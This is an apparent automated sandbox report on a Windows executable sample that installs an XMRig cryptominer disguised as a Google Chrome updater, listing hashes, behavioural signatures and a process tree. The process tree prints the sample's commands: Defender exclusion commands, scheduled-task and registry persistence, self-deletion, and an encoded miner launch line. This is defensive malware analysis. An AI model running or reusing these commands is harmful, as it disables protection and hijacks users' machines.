Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1800s -
max time network
1783s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
Be5sCbvuma2nkHDa.exeupdater.execonhost.exedescription pid process target process PID 2328 created 1252 2328 Be5sCbvuma2nkHDa.exe Explorer.EXE PID 2328 created 1252 2328 Be5sCbvuma2nkHDa.exe Explorer.EXE PID 2328 created 1252 2328 Be5sCbvuma2nkHDa.exe Explorer.EXE PID 2328 created 1252 2328 Be5sCbvuma2nkHDa.exe Explorer.EXE PID 2700 created 1252 2700 updater.exe Explorer.EXE PID 2700 created 1252 2700 updater.exe Explorer.EXE PID 2700 created 1252 2700 updater.exe Explorer.EXE PID 2700 created 1252 2700 updater.exe Explorer.EXE PID 2900 created 1252 2900 conhost.exe Explorer.EXE PID 2700 created 1252 2700 updater.exe Explorer.EXE -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral7/memory/2120-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-137-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-139-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/2120-141-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2764 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2700 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2332 taskeng.exe -
Processes:
resource yara_rule behavioral7/memory/2120-68-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-137-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-139-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/2120-141-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2700 set thread context of 2900 2700 updater.exe conhost.exe PID 2700 set thread context of 2120 2700 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
Be5sCbvuma2nkHDa.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe Be5sCbvuma2nkHDa.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1656 schtasks.exe 2788 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a0685ac9bf50da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
Be5sCbvuma2nkHDa.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 2328 Be5sCbvuma2nkHDa.exe 2328 Be5sCbvuma2nkHDa.exe 2536 powershell.exe 2328 Be5sCbvuma2nkHDa.exe 2328 Be5sCbvuma2nkHDa.exe 2856 powershell.exe 2328 Be5sCbvuma2nkHDa.exe 2328 Be5sCbvuma2nkHDa.exe 2328 Be5sCbvuma2nkHDa.exe 2328 Be5sCbvuma2nkHDa.exe 2840 powershell.exe 2700 updater.exe 2700 updater.exe 2792 powershell.exe 2700 updater.exe 2700 updater.exe 2584 powershell.exe 2700 updater.exe 2700 updater.exe 2700 updater.exe 2700 updater.exe 2900 conhost.exe 2900 conhost.exe 2700 updater.exe 2700 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2536 powershell.exe Token: SeDebugPrivilege 2856 powershell.exe Token: SeDebugPrivilege 2840 powershell.exe Token: SeDebugPrivilege 2792 powershell.exe Token: SeDebugPrivilege 2584 powershell.exe Token: SeDebugPrivilege 2700 updater.exe Token: SeAssignPrimaryTokenPrivilege 1528 WMIC.exe Token: SeIncreaseQuotaPrivilege 1528 WMIC.exe Token: SeSecurityPrivilege 1528 WMIC.exe Token: SeTakeOwnershipPrivilege 1528 WMIC.exe Token: SeLoadDriverPrivilege 1528 WMIC.exe Token: SeSystemtimePrivilege 1528 WMIC.exe Token: SeBackupPrivilege 1528 WMIC.exe Token: SeRestorePrivilege 1528 WMIC.exe Token: SeShutdownPrivilege 1528 WMIC.exe Token: SeSystemEnvironmentPrivilege 1528 WMIC.exe Token: SeUndockPrivilege 1528 WMIC.exe Token: SeManageVolumePrivilege 1528 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1528 WMIC.exe Token: SeIncreaseQuotaPrivilege 1528 WMIC.exe Token: SeSecurityPrivilege 1528 WMIC.exe Token: SeTakeOwnershipPrivilege 1528 WMIC.exe Token: SeLoadDriverPrivilege 1528 WMIC.exe Token: SeSystemtimePrivilege 1528 WMIC.exe Token: SeBackupPrivilege 1528 WMIC.exe Token: SeRestorePrivilege 1528 WMIC.exe Token: SeShutdownPrivilege 1528 WMIC.exe Token: SeSystemEnvironmentPrivilege 1528 WMIC.exe Token: SeUndockPrivilege 1528 WMIC.exe Token: SeManageVolumePrivilege 1528 WMIC.exe Token: SeLockMemoryPrivilege 2120 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2856 wrote to memory of 2788 2856 powershell.exe schtasks.exe PID 2856 wrote to memory of 2788 2856 powershell.exe schtasks.exe PID 2856 wrote to memory of 2788 2856 powershell.exe schtasks.exe PID 2764 wrote to memory of 2600 2764 cmd.exe choice.exe PID 2764 wrote to memory of 2600 2764 cmd.exe choice.exe PID 2764 wrote to memory of 2600 2764 cmd.exe choice.exe PID 2840 wrote to memory of 1092 2840 powershell.exe schtasks.exe PID 2840 wrote to memory of 1092 2840 powershell.exe schtasks.exe PID 2840 wrote to memory of 1092 2840 powershell.exe schtasks.exe PID 2332 wrote to memory of 2700 2332 taskeng.exe updater.exe PID 2332 wrote to memory of 2700 2332 taskeng.exe updater.exe PID 2332 wrote to memory of 2700 2332 taskeng.exe updater.exe PID 2584 wrote to memory of 1656 2584 powershell.exe schtasks.exe PID 2584 wrote to memory of 1656 2584 powershell.exe schtasks.exe PID 2584 wrote to memory of 1656 2584 powershell.exe schtasks.exe PID 2700 wrote to memory of 2900 2700 updater.exe conhost.exe PID 1236 wrote to memory of 1528 1236 cmd.exe WMIC.exe PID 1236 wrote to memory of 1528 1236 cmd.exe WMIC.exe PID 1236 wrote to memory of 1528 1236 cmd.exe WMIC.exe PID 2700 wrote to memory of 2120 2700 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {3A0CCBA8-32E3-4973-B0DF-6A16692D615F} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Program Files\Google\Chrome\updater.exeFilesize
980KB
MD5132068b364f0285fd5556709d8daaa5d
SHA1797883062c761967996b01f48a8d4780fb0cd8a5
SHA25654ec6b140b5f8c9525782dfb10c4e4610704c294ba784f6c0a10439f3200220a
SHA512a9c4a2dbf49a12598586c8e58ea1ba6db74ad6f3994a424ae46dc4ead09bad38d6585846cd9c3d023d07b706cc087f49daeafaffa87115e0240e3c412fe6a5a7
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C:\Program Files\Google\Chrome\updater.exeFilesize
720KB
MD596fc1a9e577c8da931ec5412e6cb8a9d
SHA15478baeec0125b752093e5a0537b56e1d0661672
SHA256bc43c4f0e3966f63488b7024a77a22918e7c4ca923585843915e78259bf2dd97
SHA5124e7a41bd47e05dbe24c5a35c42e3dc38deaa1bdac03f219a1b6cf93f09daf040cd6f9b49602a844ba1bcfa074ab3731949b89c549d8e471b1cd7fce070dc579d
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD54c9945b00aa6edccf34297c15d5603c2
SHA1b11a6dd313758a33c14dd392464d969748e7c5d2
SHA2562e50c90d5ab35fd3441c8b6792fd2f2921c19f416de2f87d7930b442b8bb6e62
SHA512ab7d03819c9e2d09f25dc3f49af32f23db7028071adedb3695a194bc6d0a6d9013d7c627cde4716cc66573c1a595a12c46a2b0ce8bbd4068542c2cb890a77171
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\Program Files\Google\Chrome\updater.exeFilesize
1.3MB
MD5db06d172094747562757a09ecbb5be61
SHA1b565731739e417250b501a3ecab04ac5bffb2bf7
SHA256523a737d5d5d9f6c04ec62518009f0786260e8ddc80b10c6182d9b97dddf8478
SHA512df0f4068b6651c134ff132d000c9f494dc56a35d18fbe08ebe411d94568908bcf1f0efe6dcb490f5bdf63146921bb6ddb8780c19a801e954f8b16e612be95779
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memory/2120-113-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/2120-81-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/2120-70-0x00000000002D0000-0x00000000002F0000-memory.dmpFilesize
128KB
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memory/2120-111-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
